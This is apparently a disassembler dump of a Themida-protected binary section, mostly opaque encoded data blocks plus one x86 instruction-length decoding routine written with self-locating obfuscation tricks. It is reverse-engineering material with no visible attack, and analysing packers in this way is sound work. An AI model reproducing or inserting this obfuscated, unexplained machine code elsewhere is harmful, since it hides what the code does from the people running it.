		dd 0F6814E46h, 0C01D550Dh, 348BF289h, 4C48124h,	68000000h
		dd 4B42h, 83242489h, 5D042404h,	0D9168h, 24148900h, 0FF08458Fh
		dd 835D2434h, 34FF04C4h, 0C4815A24h, 4,	0FAE6BBE9h, 0C4C6BEFFh
		dd 0FE610904h, 30987EB8h, 8BC50306h, 12E8C3h, 0D43D0000h
		dd 0F917793h, 294055B7h, 9821B3Ah, 542EB427h, 0FE4FC081h
		dd 0B35A6CBAh, 41C2811Bh, 5600006Ch, 7E9h, 0C0189D00h
		dd 0BD6CE064h, 6858h, 6E90000h,	0C2000000h, 14E0BC3Eh
		dd 34FF5963h, 5FDE8B11h, 8191F780h, 0ED1E83C7h,	12E96020h
		dd 79000000h, 699FE2CCh, 0A9EB6847h, 0D588D5BCh, 5A15606Ch
		dd 61D6B782h, 0E604F781h, 880F5750h, 0Ch, 68D0Fh, 8F0F0000h
		dd 0
aBUVulIKS	db 'Çž[vU‹Â‰<',0Ah
		db 'ŠÝé',0Dh,0
		dd 1A910000h, 82D6AA2Fh, 0EFC83EB6h, 830016BEh,	14E804E9h
		dd 0C3000000h, 0AADE9676h, 0E7BD443Fh, 0D7FA0F3Eh, 0B1494DCBh
		dd 0F855203Dh, 88F9815Eh, 0FFFFF94h, 0FFFF7585h, 0E875B3FFh
		dd 0Bh,	109FD304h, 8643DE21h, 66A6D7AFh, 0E95ECE8Bh, 0Ah
		dd 4CC9FFFFh, 0A36CDE00h, 0C6818631h, 6DCCh, 0A89C26BFh
		dd 0AFF3B80Ah, 0E8815F07h, 5F0794BEh, 14E8h, 80CF7E00h
		dd 0D952064Ah, 0D59723A0h, 4E59FAF1h, 77047AF3h, 7E848h
		dd 257F0000h, 49C7A275h, 800F2Bh, 5F000000h, 5A36FF59h
		dd 0F0F281F8h, 0E9604C3Bh, 14h,	85ED38A4h, 2371BE50h, 33B0E36h
		dd 94BE7DF4h, 931DB6E3h, 7E77C281h, 0E952435Eh,	13h, 0DFAAFE82h
		dd 3A510386h, 4F6526F3h, 973238D3h, 5B06DF2Ah, 5A64EA81h
		dd 0F605F1Dh, 382h, 0F1BF0F00h,	66168961h, 0EE83FE8Bh
		dd 0EE904h, 0E6AE0000h,	7A496487h, 5380C92h, 183FCECCh
		dd 14850F48h, 0E9000000h, 20h, 7E44EAF4h, 7264DA26h, 4F965932h
		dd 0BF1517FAh, 3A99AEDCh, 0FFFF6CE9h, 0CD578AFFh, 5DF18ECEh
		dd 9BC18D8Dh, 6A0630h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 1D1732C3h, 8D89914Ah, 62B0EE1h
		dd 830F60h, 81000000h, 0B53505CFh, 0B5896174h, 62B3089h
		dd 21E185C7h, 5DC4062Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0C79144C3h, 2B2BE585h
		dd 6, 0C9958B00h, 0FF062B08h, 2B1D15B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 86A754EBh, 9E90E1Bh,	7A000000h, 0D2F850EFh, 0BFFD9D19h
		dd 273195FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0B68F13C3h, 46AA7FE1h, 3481BD29h
		dd 6A062Bh, 294595FFh, 0C08B062Bh, 508F0FEBh, 0B7959458h
		dd 454F67DBh, 0CAAF6311h, 0DC125859h, 0F8BE2C1Fh, 0BA629D2Bh
		dd 0AE70B3F2h, 0D2340B06h, 3715C7Ah, 408485FCh,	3E845981h
		dd 0AEF06433h, 0AA04AAD1h, 2896F1Dh, 2325D39h, 37FBE3Ch
		dd 11DC9D33h, 7E34CE33h, 0FD2C5C7Eh, 0A8880453h, 0DF5F92F7h
		dd 69179E1h, 13DD20A4h,	0AC343B33h, 0B18CBC51h,	0FFAFC876h
		dd 66A785h, 5985F90Eh, 0B93069h, 0FDCEC33h, 55347633h
		dd 0FE82B845h, 8A0AC439h, 0BC465116h, 40F95CA6h, 2A89306Ch
		dd 332F22Ch, 318683Ch, 0EACC7633h, 3343850h, 0EB669D59h
		dd 334CE30h, 59F73D13h,	710E7BAh, 7109DB2h, 334EC28h, 34F72471h
		dd 0E1B8F1DBh, 0CEDD3ECh, 86B90784h, 504FCC6h, 0EB67B359h
		dd 334D930h, 58F7B713h,	7102ABAh, 7107FB2h, 3349D2Eh, 0D2F79D70h
		dd 119A3ACBh, 3577FDDAh, 5AE6595Dh, 331633Ch, 0DF8D7633h
		dd 931BAECAh, 193F0B8Ah, 843B9E0Ch, 3346736h, 8A0748Dh
		dd 0D2BF490Ah, 98E369BEh, 35E7003h, 337D362h, 5A149D33h
		dd 4FBD97F0h, 47B56317h, 328B717h, 5275D933h, 626C1FF0h
		dd 890C8DCCh, 53645576h, 2730146Ch, 0B9529C62h,	5C6EF8CEh
		dd 0FCFE0C3Ch, 2828B8A6h, 5B5E335h, 82347633h, 79DA59E9h
		dd 69F41643h, 0DC9833h,	23346733h, 8A6A706Dh, 8230FD47h
		dd 1F30C877h, 45347633h, 0AC87F865h, 71733EE9h,	63ADC850h
		dd 350D855h, 334A3DBh, 0D48CD33h, 99B5D292h, 3487DEDDh
		dd 35A265FBh, 0FCFA1CE8h, 5961B512h, 0FA89E452h, 3329832h
		dd 0BEB7D046h, 51FFABAh, 532D0233h, 0BBF4B060h,	3349949h
		dd 18B54BBAh, 9EB96118h, 5190C46h, 5B6F0ACCh, 15BD51B0h
		dd 77347018h, 0BB676B24h, 3349949h, 18B54BBAh, 9EB96118h
		dd 5190F57h, 5B6F0ACCh,	334FEDAh, 9047BD33h, 3B897CD7h
		dd 0F54EA85Fh, 6A2FB9FEh, 54AB2D58h, 827F7D8Ah,	0C3BF8738h
		dd 33D6E3Ch, 843B7633h,	3343B30h, 8EFC2A3Ch, 33AF11AEh
		dd 53340D35h, 334B0DBh,	0C06CF933h, 2770656Bh, 2770F737h
		dd 3342337h, 0C064DD33h, 0EC97CCC0h, 0C1B49ED0h, 0DDB13EB3h
		dd 6932E9B9h, 0DCB933h,	23347633h, 8A69F86Eh, 8230B95Fh
		dd 1B30EA77h, 46346733h, 0A67F7066h, 0C662908h,	0D1B5238Ch
		dd 11BF06D9h, 0D2BEEBCCh, 873B5D38h, 334CE26h, 8EC7D83Ch
		dd 287A12AEh, 3376135h,	848AEC33h, 0FC2B605Dh, 0E4A9B6D0h
		dd 6932ADA8h, 0DC9F33h,	23346733h, 8A6D706Ah, 8230FD7Fh
		dd 1430C877h, 42347633h, 0F079F862h, 0EA66F390h, 334CE3Bh
		dd 0EF2C0EE5h, 0B11644D4h, 0ADDB969h, 5134EC33h, 526F8EDCh
		dd 969C8B71h, 86B9FCC6h, 50444EDh, 0AE3E655h, 88E44CBDh
		dd 0CF4D2C4h, 3347FB7h,	0A2A9FB33h, 5532107Dh, 0BEAA44B2h
		dd 0BB6AEC09h, 3346732h, 0EB66B359h, 334D930h, 59F7B613h
		dd 71022BAh, 7107FB2h, 3349D2Fh, 21F79C71h, 0CC24CA1Eh
		dd 90B606B1h, 3203053h,	1869EC33h, 79D8AB8Ch, 9E1A9414h
		dd 8B34E9Fh, 0E946E2D4h, 9DDCA21h, 0C634B333h, 92BA7772h
		dd 0A920B513h, 0EDC173Eh, 79343B33h, 0B0C45F28h, 8149FEACh
		dd 0D28E86B8h, 334B5DBh, 29D6C033h, 0EA2CA84Fh,	3347635h
		dd 38DC65F1h, 5C6A7166h, 8B3B2DCCh, 3346733h, 98D82EBEh
		dd 12DCDF03h, 0AE34EC33h, 3BD486AAh, 939E228Ah,	0C8F86DC6h
		dd 0C004EB93h, 0DDB1EA6Ah, 693283B9h, 0DC8B33h,	2334EC33h
		dd 8A6EB569h, 82301F67h, 1B30B977h, 4134CE33h, 5E8AA461h
		dd 0EA26C1B7h, 334D93Fh, 4B369A74h, 5BC6623h, 5C0CED93h
		dd 0F1B44DCCh, 0CF4C53Bh, 33471B7h, 0D383BC33h,	4D9544BEh
		dd 8CEA18h, 82347633h, 63932AD5h, 40D76263h, 3344C3Ch
		dd 0BEB96733h, 50428E6h, 9CDA54BEh, 7E8CEA03h, 30BE3D6Fh
		dd 2834A2B6h, 0C2FBB635h, 0E4A9B6DAh, 6932ADA8h, 0DC9F33h
		dd 23346733h, 8A6D706Ah, 8230FD7Fh, 0E983C877h,	8BA4F305h
		dd 0F28B66C0h, 8B6050F8h, 8B5E61D7h, 0D6BF0FC3h, 81C08BFCh
		dd 92BD44EEh, 0F9BD834Ah, 62B01h, 0BD830975h, 62B1689h
		dd 50197400h, 0B8C08B53h, 47Ah,	34798589h, 9D8D062Bh, 62DBFDCh
		dd 585BD3FFh, 1689BD83h, 7400062Bh, 0B8535017h,	47Ah, 34798589h
		dd 9D8D062Bh, 62DBC7Dh,	585BD3FFh, 0FE8h, 52360F00h, 0D67CFC69h
		dd 4FC0E93Ch, 0DD746484h, 2850Fh, 61600000h, 37DE815Eh
		dd 8B502CA2h, 266E9C0h,	66600000h, 0C1F6D98Ch, 35840F04h
		dd 6A000000h, 1DB5FF01h, 8D062B0Bh, 2E83EB85h, 89D0FF06h
		dd 2B354585h, 0C1FE8B06h, 680CEFh, 6A200600h, 57026A00h
		dd 1000D68h, 4595FF00h,	0E9062B35h, 32h, 332D85C6h, 6856062Bh
		dd 0A9C530DFh, 1BDDB5FFh, 858D062Bh, 62E83EBh, 8589D0FFh
		dd 62B1B95h, 2A5858Dh, 6A50062Bh, 56056A40h, 1B9595FFh
		dd 0C361062Bh, 3 dup(0)
		dd 60D48B52h, 8908428Bh, 30A11885h, 0C428B06h, 0A1108589h
		dd 428B0630h, 14858910h, 8D0630A1h, 30A14EB5h, 0A1858D06h
		dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 630A118h, 0A110858Bh
		dd 0BD830630h, 630A114h, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 0A1188589h, 0B58D0630h, 630A19Fh
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 630A118h, 8B0004C2h
		dd 30A11885h, 89008B06h, 30A11885h, 0CF06h, 89600000h
		dd 30A175B5h, 71858906h, 8D0630A1h, 2B0F2585h, 44408B06h
		dd 0A1AE8589h, 0B58D0630h, 630A1E4h, 8EA1858Dh,	0D0FF005Bh
		dd 75858B61h, 0C30630A1h, 0A1719D8Bh, 0B70F0630h, 0D8033C43h
		dd 3785B8Bh, 30A1719Dh,	24738B06h, 0A171B503h, 8B560630h
		dd 738B207Bh, 71BD031Ch, 30630A1h, 30A171B5h, 0C983FC06h
		dd 9D8B41FFh, 630A175h,	9503178Bh, 630A171h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 630A171h,	0A1758589h, 0F08B0630h,	0C18BCE8Bh
		dd 0A1AEBD81h, 630h, 850FC030h,	0Dh, 2514E8C1h,	0FFCh
		dd 8E9h, 12E8C100h, 3FF825h, 0AEBD8B00h, 830630A1h, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 0A1AEBD81h, 630h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0AEBD8100h, 630A1h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 0A11C858Dh, 85890630h, 62B09C5h
		dd 0A1B2858Dh, 85890630h, 62B2C29h, 0A179858Dh,	85890630h
		dd 62B2A39h, 9E8h, 40CC9700h, 52853746h, 11E98C16h, 0C3000000h
		dd 8322AEEDh, 43C16182h, 0CB6C6613h, 0EB857680h, 8194B359h
		dd 68A3C1h, 0DE900h, 6CCA0000h,	780AF2EFh, 0A72B5B7Ah
		dd 0BA391B67h, 0
		dd 0A34FFF9h, 0E881F858h, 49A79CFEh, 61DB8166h,	39C08154h
		dd 81781B4Ah, 414206F0h, 38F0F24h, 0F000000h, 489F0BFh
		dd 6E911h, 18AF0000h, 0EE9F7142h, 28D0Fh, 0FE8B0000h, 6004EA83h
		dd 0FABF0F60h, 0EE9h, 161FC000h, 2BC48BF7h, 0C1B091FEh
		dd 612D423Ch, 178D0Fh, 12E90000h, 8F000000h, 0B1F8BD0h
		dd 0CF9D635Fh, 4390C8A9h, 68DFEC50h, 0FA8161D3h, 0FFFF9844h
		dd 18850Fh, 71BF0000h, 0E9478CCBh, 20h,	0CC4A26AEh, 4DE2805h
		dd 5C8E138Bh, 81663CB5h, 0E929F5EFh, 0FFFFFF5Dh, 0FEB8DDh
		dd 0A6F74B90h, 13CE9h, 4Fh dup(0)
		dd 3DBD8300h, 1062B1Fh,	502840Fh, 0C6F50000h, 2B332D85h
		dd 890F4306h, 6, 0B70FFC60h, 506861FFh,	50C3A77Ch, 840F6052h
		dd 0
		dd 61F08B66h, 6060310Fh, 61F38B61h, 3481585Ah, 2ACA524h
		dd 830FF82Fh, 1, 0DDB5FFF8h, 0E9062B1Bh, 9, 101F6A86h
		dd 2CACA8A1h, 0EB858D81h, 60062E83h, 28C0Fh, 0FA8B0000h
		dd 61C9BF0Fh, 0E8C0Fh, 9E90000h, 84000000h, 890ACD5Bh
		dd 3A4A3C09h, 12E9D0FFh, 0AD000000h, 1DD01140h,	1B5172DDh
		dd 0AD07E373h, 0D91CFA32h, 218589BAh, 6A062B1Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 476DC351h, 0FF811DACh, 6F92AFDBh, 18B0FF9h, 0F9000000h
		dd 332D85C6h, 0F950062Bh, 0F7BF0F60h, 0FE9h, 718E4E00h
		dd 2EA4293h, 0B0B5C834h, 0A21B1AE5h, 98946861h,	566077CFh
		dd 0E88BF66h, 74BE665Fh, 48161D1h, 0DE14C224h, 0B5FFFC30h
		dd 62B1BDDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0C5C35343h, 850FE804h, 1, 0EB858DFCh, 0E9062E83h
		dd 7, 554FF78Ah, 0FFE88208h, 7890FD0h, 60000000h, 0B70FD68Bh
		dd 858961F1h, 62B28E5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 33C35040h, 80247884h,	0C78B6089h, 5F50F860h
		dd 72686161h, 6094CFF2h, 12E8h,	5529A00h, 67A8921Eh, 9B6072F2h
		dd 0D812B786h, 50A5BB19h, 5A310F52h, 0BA665E58h, 81618244h
		dd 0B5BD2404h, 8A0F5BBFh, 1, 0DDB5FFFCh, 0F062B1Bh, 1A82h
		dd 0C7BE6000h, 0E8780D16h, 0Dh,	27E80A02h, 0AC7CD2ADh
		dd 42CA7E00h, 8D615B3Bh, 2E83EB85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 7850F13h, 0F000000h
		dd 18Ch, 0D0FFFC00h, 10E960h, 0AC550000h, 1D8F40CBh, 0B23C9172h
		dd 152623E1h, 0D9815080h, 4785BEC3h, 11858961h,	0E9062B0Dh
		dd 9, 7A5440CAh, 0AF13DAFFh, 2D85C6BAh,	50062B33h, 5E5060F5h
		dd 850Fh, 0E8610000h, 4, 979CDC56h, 0E8605250h,	8, 4074A9F3h
		dd 0E4351E5Eh, 615B565Fh, 5060310Fh, 5A310F52h,	0E494BF58h
		dd 5A616330h, 10E95058h, 85000000h, 5F48674Eh, 0B9068386h
		dd 62A959EFh, 8B76994Bh, 0F042444h, 1981h, 14E900h, 1DE0000h
		dd 0EF7AE4E8h, 19D2F850h, 4FBFFD9Dh, 618AEC0Dh,	8B00B9h
		dd 0FE9h, 0FEA05E00h, 8C84B738h, 0D3CA4994h, 0E953F505h
		dd 4244489h, 0FE960h, 10B00000h, 0DA75EDE8h, 8E58AA11h
		dd 16CFE49Bh, 0DE867h, 908D0000h, 95387CDEh, 0D0273573h
		dd 60B91A53h, 58615A61h, 6621B360h, 6175C5BFh, 0B1DB5FFh
		dd 8DFC062Bh, 2B3C2585h, 0B70F6006h, 0D38B66C6h, 0B70F6061h
		dd 85C780F6h, 60D0FF61h, 858961F5h, 62B161Dh, 0C4EA8060h
		dd 57D9F381h, 0E96147C9h, 1C8h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0BAC35242h,	0F8E0B00Ah, 50905FC2h
		dd 18B0Fh, 0FF90000h, 182h, 95F5F800h, 10E9h, 9009F500h
		dd 0D2A22EDAh, 0AD972BEBh, 0B51C2C2h, 0E86050B9h, 0Ah
		dd 4F525438h, 3EB2F386h, 8B669B2Ch, 956159F2h, 0EE9h, 1541FA00h
		dd 38198781h, 88F9BE88h, 8B28C3A9h, 53006AECh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 5FB7498Bh
		dd 60CD587Fh, 0E9816660h, 0EFBAA779h, 6140E59Fh, 0CE9h
		dd 0D8B4C900h, 47475E9Bh, 634A77A6h, 0C483619Eh, 61F960FCh
		dd 0E8F860F8h, 0
		dd 60EA815Ah, 0C70630A9h, 0FC45h, 0BA830000h, 62B1F3Dh
		dd 98840F01h, 52000000h, 0F6A006Ah, 1E2192FFh, 895A062Bh
		dd 30A41982h, 1D9A8D06h, 520630A4h, 12803C7h, 50530000h
		dd 28E592FFh, 525A062Bh, 0A41D9A8Dh, 0FF530630h, 30A419B2h
		dd 1D92FF06h, 5A062B16h, 5074C00Bh, 0A41D9A8Dh,	7B8D0630h
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 2B02F9BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 0F9828D08h, 50062B02h, 0D1192FFh,	0B5A062Bh
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 6A0008C2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 201EC352h, 1EB8FD6Ch, 0BA275FAFh
		dd 5660F9F8h, 8BECCF81h, 0E85A1954h, 10h, 1228296Eh, 2871F593h
		dd 8076D58Ah, 0ACA70A2Bh, 615BF98Bh, 8D8DD28Bh,	630AB34h
		dd 0A581BF66h, 0EE18D89h, 0F480062Bh, 6810FE6h,	8B000000h
		dd 2B34A985h, 0E185C706h, 0FC062B21h, 6A000073h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 2035C352h, 0BF0A465Dh, 774A9527h, 85C744B4h,	62B2BE5h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FAC35242h
		dd 12E9h, 8DBDFA00h, 0D1600813h, 7126F7CBh, 44D79DBBh
		dd 0FFF02795h, 2B0D25B5h, 0E2CF8106h, 0FF76E608h, 2B273195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 91BE8A6Fh, 813C2A64h, 0ADA981D6h, 0FF006A78h
		dd 2B294595h, 0EBC08B06h, 63BDA84Bh, 0AD96F7BBh, 0F97C550Bh
		dd 132E4DEEh, 52D54EA3h, 9B2DD886h, 0B13A9F5Dh,	0E4717948h
		dd 87C32E7Dh, 868A5BBBh, 1EA202C0h, 0C2A9F9D1h,	39F3A3E6h
		dd 0DDF77A1h, 152CA0FCh, 74B3F74Eh, 0F48B4712h,	0C77B1AC5h
		dd 0F48D0408h, 1C8E9h, 8 dup(41888800h), 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 100h, 14h dup(0)
		dd 6380C300h, 7577EDh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 5CED815Dh, 600630ADh, 0ACA985C7h, 630h, 81660000h, 0FA1663Eh
		dd 0F85h, 0AD85C700h, 60630ACh,	0E9000000h, 24h, 0ACB1858Dh
		dd 8D500630h, 30AD0185h, 6A565006h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	630ACADh, 0ADB50361h, 8B0630ACh
		dd 30ACA985h
		db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_597490
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59749C
; ---------------------------------------------------------------------------


loc_597490:				; CODE XREF: Themida_:00597479j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_59749C:				; CODE XREF: Themida_:0059748Bj
		push	ebx
		push	esi
		push	edi


loc_59749F:				; CODE XREF: Themida_:005974F4j
					; Themida_:00597510j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5974B2:				; CODE XREF: Themida_:005974D9j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 630AE13h
		lea	ebp, [ebp+630AC89h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5974DF
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5974B2


loc_5974DF:				; CODE XREF: Themida_:005974CEj
		cmp	cl, 0Bh
		jz	loc_59753C
		cmp	al, 66h
		jnz	loc_59751D
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59749F
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_597515
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59749F
; ---------------------------------------------------------------------------


loc_597515:				; CODE XREF: Themida_:00597502j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_59751D:				; CODE XREF: Themida_:005974EAj
		cmp	al, 67h
		jnz	loc_59749F
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59749F
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59749F
; ---------------------------------------------------------------------------


loc_59753C:				; CODE XREF: Themida_:005974E2j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_597568
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59756D
; ---------------------------------------------------------------------------


loc_597568:				; CODE XREF: Themida_:00597547j
		movzx	edi, al
		shr	edi, 1


loc_59756D:				; CODE XREF: Themida_:00597563j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 630AECBh
		lea	ebp, [ebp+630AB89h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5976EF
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_597633
		dec	ecx
		jz	loc_597616
		dec	ecx
		jnz	loc_597686
		cmp	byte ptr [ebp-2], 0
		jnz	loc_597682
		cmp	byte ptr [ebp-5], 0
		jz	loc_5975F5
		mov	byte ptr [ebp+0Bh], 2


loc_5975F5:				; CODE XREF: Themida_:005975EBj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 630AF57h
		mov	dword ptr [ebp+630ACA9h], 1
		pop	ebp
		jmp	loc_597686
; ---------------------------------------------------------------------------


loc_597616:				; CODE XREF: Themida_:005975D0j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_597660
		cmp	byte ptr [ebp-5], 0
		jz	loc_597660
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_597660
; ---------------------------------------------------------------------------


loc_597633:				; CODE XREF: Themida_:005975C9j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_597679
		cmp	byte ptr [ebp-5], 0
		jz	loc_597668
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_597660
		mov	[ebp+0Bh], cl


loc_597660:				; CODE XREF: Themida_:0059761Aj
					; Themida_:00597624j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_597686
; ---------------------------------------------------------------------------


loc_597668:				; CODE XREF: Themida_:00597641j
		cmp	dl, 5
		jnz	loc_597686
		mov	[ebp+0Bh], dl
		jmp	loc_597686
; ---------------------------------------------------------------------------


loc_597679:				; CODE XREF: Themida_:00597637j
		cmp	dl, 6
		jnz	loc_597686


loc_597682:				; CODE XREF: Themida_:005975E1j
		mov	byte ptr [ebp+0Bh], 3


loc_597686:				; CODE XREF: Themida_:005975D7j
					; Themida_:00597611j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5976B4
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_597696:				; CODE XREF: Themida_:005976ACj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_597696
		mov	esi, edx


loc_5976B4:				; CODE XREF: Themida_:00597689j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5976E9
		cmp	edi, 7Fh
		ja	loc_5976E9
		test	bl, 38h
		jnz	loc_5976E9
		cmp	byte ptr [ebp-7], 0
		jz	loc_5976E3
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5976E6
; ---------------------------------------------------------------------------


loc_5976E3:				; CODE XREF: Themida_:005976D4j
		push	1
		pop	eax


loc_5976E6:				; CODE XREF: Themida_:005976DEj
		mov	[ebp-1], al


loc_5976E9:				; CODE XREF: Themida_:005976B8j
					; Themida_:005976C1j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5976EF:				; CODE XREF: Themida_:00597599j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59771A
		dec	eax
		dec	eax
		jz	loc_597710
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_597722
; ---------------------------------------------------------------------------


loc_597710:				; CODE XREF: Themida_:005976FFj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59771F
; ---------------------------------------------------------------------------


loc_59771A:				; CODE XREF: Themida_:005976F7j
		mov	al, [ebp-3]
		add	al, 4


loc_59771F:				; CODE XREF: Themida_:00597715j
		add	[ebp-1], al


loc_597722:				; CODE XREF: Themida_:0059770Bj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59774A
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_597735:				; CODE XREF: Themida_:00597744j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_597735


loc_59774A:				; CODE XREF: Themida_:0059772Aj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 56h
		dd 890630ADh, 2B070585h, 4E906h, 513D0000h, 0FCE97EA6h
		dd 6800000Bh, 630B266h,	0FB9F32E9h, 0B34B68FFh,	28E90630h
		dd 68FFFB9Fh, 630B517h,	0FB9F1EE9h, 0B62568FFh,	14E90630h
		dd 68FFFB9Fh, 630B86Eh,	0FB9F0AE9h, 0BA1068FFh,	0E90630h
		dd 68FFFB9Fh, 630BB0Bh,	0FB9EF6E9h, 77632FFh, 0FE450EE3h
		dd 0D01D673Ah, 89FAB95Ch, 67D29075h, 1D6BE083h,	6B0EE257h
		dd 4E23C728h, 9B7EB209h, 9A966ADBh, 0BE90DFD3h,	928D91EBh
		dd 0A7B3B83h, 0A50C548Dh, 0A10E57B4h, 50A1E136h, 12E1D5ACh
		dd 85E9108Bh, 9DE6094Fh, 7909B6BAh, 91F00E12h, 0EC6BDEA4h
		dd 9807682Bh, 0A6E5B16Eh, 0D3B86AA9h, 71A66069h, 0C4A86A13h
